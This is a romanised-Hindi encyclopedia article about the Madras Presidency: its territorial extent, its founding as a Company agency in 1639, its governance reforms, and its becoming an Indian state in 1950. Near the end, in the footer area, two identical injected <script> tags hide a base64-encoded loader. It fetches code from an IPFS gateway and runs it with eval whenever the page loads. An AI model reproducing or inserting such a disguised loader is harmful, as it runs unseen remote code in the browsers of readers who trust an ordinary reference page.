मद्रास प्रेसीडेंसी
madras presideansi (aangrezi: Madras Presidency) jise adhikarik taur par phort seant j aaurj ki presideansi tatha madras provians ke roop mean bhi jana jata hai, british bharat ka ek prashasanik anumandal tha. apani sabase vistrit sima tak madras presideansi mean dakshin bharat ke adhikaansh hissoan sahit vartaman bharatiy rajy tamilanadu, uttar ka keral ka malabar kshetr, lakshadvip dvipasamooh, tatiy aandhr pradesh aur aandhr pradesh ke rayalasima kshetr, ganjam, malkanagiri, koraput, rayagadh, navarangapur aur dakshini u disa ke gajapati jile aur bellari, dakshin kann d aur karnatak ke udupi jile shamil the. presideansi ki apani shitakalin rajadhani madras aur grishmakalin rajadhani ootakamand thi.
itihas
san 1639 mean british eest iandiya kanpani ne madrasapattanam gaanv ko kharida aur isake ek sal bad madras presideansi ki poorvavarti, seant j aaurj kile ki ejeansi ki sthapana ki thi, halaanki machhalipattanam aur armagon mean kanpani ke karakhane 17vian sadi ke praranbh se hi maujood the. 1655 mean ek bar phir se isaki poorv ki sthiti mean vapas lane se pahale ejeansi ko 1652 mean ek presideansi ke roop mean unnat banaya gaya tha. 1684 mean ise phir se ek presideansi ke roop mean unnat banaya gaya aur elihoo yel ko pahala presideant niyukt kiya gaya.
san 1785 mean pits iandiya ekt ke pravadhanoan ke tahat madras british eest iandiya kanpani dvara sthapit tin praantoan mean se ek ban gaya. usake bad kshetr ke pramukh ko "presideant" ki bajay "gavarnar" ka nam diya gaya aur kalakatta mean gavarnar-janaral ka adhinasth banaya gaya, yah ek aisa pad tha jo 1947 tak kayam raha. nyayik, vidhayi aur karyakari shaktiyaan rajyapal ke sath rah gayian, jinhean ek kauansil ka sahayog prapt tha, jisake sanvidhan ko 1861, 1909, 1919 aur 1935 mean adhiniyamit sudharoan dvara sanshodhit kiya gaya tha.
chunav
1939 mean dvitiy vishv yuddh chhi dane ke samay tak madras mean niyamit chunav ayojit kie ge. 1908 tak praant mean 22 jile shamil the, jinamean se pratyek ek jila kalektar ke adhin tha aur age ise taluka tatha phiraka mean upavibhajit kiya gaya tha, jisamean gaanv prashasan ki sabase chhoti ikaee ke roop mean the.
bharatiy ganarajy ka hissa
madras ne 20vian sadi ke praranbhik dashakoan mean bharatiy svatantrata aandolan mean ek mahatvapoorn yogadan diya aur yah 1919 ke moanteg-chemsaphord sudharoan ke bad british bharat mean dvishasan ki pranali ko lagoo karane vala pahala praant tha. isake bad gavarnar ne ek pradhanamantri ke sath-sath shasan kiya. 15 agast 1947 ko bharatiy svatantrata ke agaman ke sath presideansi ko bhang kar diya gaya. 26 janavari 1950 ko bharatiy ganarajy ke shubharanbh ke avasar par madras ko bharatiy sangh ke rajyoan mean se ek ke roop mean svikrit kiya gaya.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>